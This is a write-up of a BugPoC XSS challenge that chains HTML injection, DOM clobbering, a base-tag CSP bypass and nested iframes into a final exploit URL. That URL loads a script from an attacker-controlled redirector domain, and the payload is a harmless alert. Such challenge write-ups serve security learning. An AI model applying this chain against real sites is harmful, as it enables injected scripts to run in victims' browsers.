Recently, BugPoC announced a XSS challenge sponsored by Amazon on Twitter. It was really fun solving this challenge! :D
The rules are simple:
- Must
alert(origin)
showinghttps://wacky.buggywebsite.com
- Must bypass
Content-Security-Policy
(CSP) - Must work in latest version of Google Chrome
- Must provide proof-of-concept exploit using BugPoC (duh!)
Although the XSS challenge started a week ago, I did not have time to work on the challenge. I attempted the challenge only 9 hours before it officially ended and came up with a good idea on how to craft the solution in about 15 minutes while reading the source code on phone
This challenge is fairly simple to solve, but it requires careful observation and a good understanding of the various techniques often used when performing XSS.
Introduction
Visiting the challenge site at https://wacky.buggywebsite.com/
, we can see a wacky text generator. I started off by taking a quick look at the JavaScript code loaded by the webpage:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var isChrome = /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor);
if (!isChrome){
document.body.innerHTML = `
<h1>Website Only Available in Chrome</h1>
<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
`;
}
document.getElementById("txt").onkeyup = function(){
this.value = this.value.replace(/[&*<>%]/g, '');
};
document.getElementById('btn').onclick = function(){
val = document.getElementById('txt').value;
document.getElementById('theIframe').src = '/frame.html?param='+val;
};
We can see that &*<>%
characters are being removed the user input in the <textarea>
. On clicking on the Make Whacky!
button, the page loads an iframe
: /frame.html?param=
, which looks interesting.
HTML Injection/Reflected XSS
There is a HTML Injection/Reflected XSS at wacky.buggywebsite.com/frame.html
in the <title>
tag via param
GET parameter.
When visiting https://wacky.buggywebsite.com/frame.html?param=REFLECTED VALUE: </title><a></a><title>
, the following HTML is returned in the response body:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>
REFLECTED VALUE: </title><a></a><title>
</title>
...
<body>
<section role="container">
<div role="main">
<p class="text" data-action="randomizr">REFLECTED VALUE: </title><a></a><title></p>
...
The user input supplied via the param
GET parameter is being reflected twice in the response – the first is printed as-is (without any sanitization or encoding), and the second being HTML-entities encoded.
This indicates that it is possible to achieve arbitrary HTML injection (i.e. arbitrary HTML elements can be injected onto the webpage) via the param
GET parameter using the first reflected param
value.
Note: You need to inject </title>
to end the title
element. Browsers ignore any unescaped HTML elements within <title>
and treats any value in <title>...</title>
as text only, and will not render any HTML elements found within the title
element.
However, Content-Security-Policy
(CSP) header in the HTTP response is set to:
script-src 'nonce-zufpozmbvckj' 'strict-dynamic'; frame-src 'self'; object-src 'none';
Thescript-src
CSP directive disallows inline scripts that do not have the nonce value. In other words, injecting reflected XSS payloads such as injecting a <script>
tag directly to achieve JavaScript execution will not work as the CSP disallows executing inline scripts without the nonce value, so we need to exploit vulnerabilities in the existing JavaScript code loaded by the webpage in order to execute arbitrary JavaScript code.
Source Code Analysis
Let’s examine the JavaScript code loaded on /frame.html
. The relevant code snippet is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
window.fileIntegrity = window.fileIntegrity || {
'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
'algorithm' : 'sha256',
'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
'creationtime' : 1602687229
}
// verify we are in an iframe
if (window.name == 'iframe') {
// securely load the frame analytics code
if (fileIntegrity.value) {
// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);
}
} else {
document.body.innerHTML = `
<h1>Error</h1>
<h2>This page can only be viewed from an iframe.</h2>
<video width="400" controls>
<source src="movie.mp4" type="video/mp4">
</video>`
}
DOM Clobbering
The line window.fileIntegrity = window.fileIntegrity || { ... }
is vulnerable to DOM clobbering.
It can be observed that fileIntegrity.value
is subsequently being used as the subresource integrity (SRI) hash value. By injecting an element <input id=fileIntegrity value=hash_here>
onto the webpage, it is possible to clobber the fileIntegrity
reference with the DOM input
node, making it reference the hash value specified in the <input>
tag.
Weak Inline Frame Sandbox Restrictions
It can be seen that an iframe
is first being created and inserted into the DOM. However, the sandbox policy is configured to allow-scripts allow-same-origin
. The allow-scripts
option allows JavaScript execution, and the allow-same-origin
option allows the iframe
context to be treated as from being the same origin as the parent frame, therefore bypassing same-origin policy (SOP) and keeping the origin wacky.buggywebsite.com
.
CSP Bypass
The code below the iframe
insertion into the DOM attempts to creates a <script>
element which loads a JavaScript file using the relative path files/analytics/js/frame-analytics.js
. Referencing the CSP header, it can be seen that the base-uri
directive is missing. This means that we can inject a <base>
element with href
attribute set to the attacker’s domain onto the webpage, and when the script attempts to load the relative path files/analytics/js/frame-analytics.js
, the file will be loaded from the attacker-controlled domain, therefore achieving arbitrary JavaScript execution!
X-Frame-Options (XFO) Same-origin Bypass
The X-Frame-Options
header in the HTTP response is set to sameorigin
. This means that we cannot use an external domain to frame wacky.buggywebsite.com/frame.html
to satisfy the if (window.name == 'iframe')
check.
There are two ways to resolve this issue:
- Lure the victim user to an attacker-controlled domain, set
window.name
and redirecting to the vulnerable page with the XSS payload. - Use HTML injection vulnerability to inject an
iframe
to embed itself with XSS payload (i.e. frame-ception)
Option (1) is not ideal in most cases since it imposes an additional requirement for a successful XSS attack on a victim user – having to lure the user to an untrusted domain.
As such, I went ahead with option (2). We can use the HTML injection vulnerability to inject an iframe
element and set name
attribute to iframe
on the webpage to embed itself to satisfy the check within the iframe
.
However, there is a caveat to using this approach – if the aforesaid check is not satisfied on the parent frame, then the document.body.innerHTML = ...
in the else statement will be executed, thereby replacing the DOM. This may cancel the loading of the iframe
and hence ‘preventing’ the XSS attack from succeeding on some systems, making it an unreliable XSS attack.
To address this caveat, we can inject the start of a HTML comment <!--
without closing it with -->
in the parent frame after the injected HTML elements to cause the browser to treat the rest of the webpage response as a HTML comment, hence ignoring all inline JavaScript code loaded in the remaining of the webpage.
Simulating the Attack
Before we can craft the whole exploit chain, we need to have a attacker domain hosting the XSS payload served in a JavaScript file.
To do so, we can use BugPoC’s Mock Endpoint Builder and setting it to:
Status Code: 200
Response Headers:
{
"Content-Type": "text/javascript",
"Access-Control-Allow-Origin": "*"
}
Response Body:
top.alert(origin)
Then, use Flexible Redirector to generate a shorter and nicer URL for the Mock Endpoint URL to be used in our exploit.
In the response header serving the XSS payload, we also need to add Access-Control-Allow-Origin: *
to relax Cross-Origin Resource Sharing (CORS) since the JavaScript resource file is loaded via a cross-origin request.
Note: One thing I did not mention earlier was that because the iframe
sandbox policy did not have allow-modals
attribute, we cannot call alert(origin)
directly in the iframe
. We can simply call top.alert(origin)
or parent.alert(origin)
to trigger alert
on the parent frame to complete the challenge.
Chaining Everything Together
Now, it’s finally time to chain everything together and exploit this XSS!
Attacker Domain Hosting XSS Payload JavaScript File:
https://y5152648ynov.redir.bugpoc.ninja
XSS Payload:
top.alert(origin)
SHA-256 Subresource Integrity Hash of XSS Payload JavaScript File:
$ openssl dgst -sha256 -binary <(printf 'top.alert(origin)') | openssl base64 -A
nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU=
Inner Frame URL (HTML Injection + CSP Bypass + DOM Clobbering + Trigger XSS):
/frame.html?param=</title><base href="https://y5152648ynov.redir.bugpoc.ninja"><input id=fileIntegrity name=value value='nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU='><title>
Outer Frame URL (HTML Injection + Load Inner Frame + Comment Out Rest of Webpage):
https://wacky.buggywebsite.com/frame.html?param=</title><iframe src="/frame.html?param=[url-encoded inner frame's param value]" name="iframe"></iframe><!--
Solution
Here’s the final solution to achieve XSS on the domain:
https://wacky.buggywebsite.com/frame.html?param=%3C/title%3E%3Ciframe%20src=%22/frame.html?param=%253C%2Ftitle%253E%253Cbase%2520href%3D%2522https%3A%2F%2Fy5152648ynov%2Eredir%2Ebugpoc%2Eninja%2522%253E%253Cinput%2520id%3DfileIntegrity%2520name%3Dvalue%2520value%3D%2527nLLJ57DQQUC9I87V0dhHnni5XBAy5rS3rr9QRuCoKQU%3D%2527%253E%253Ctitle%253E%22%20name=%22iframe%22%3E%3C/iframe%3E%3C!--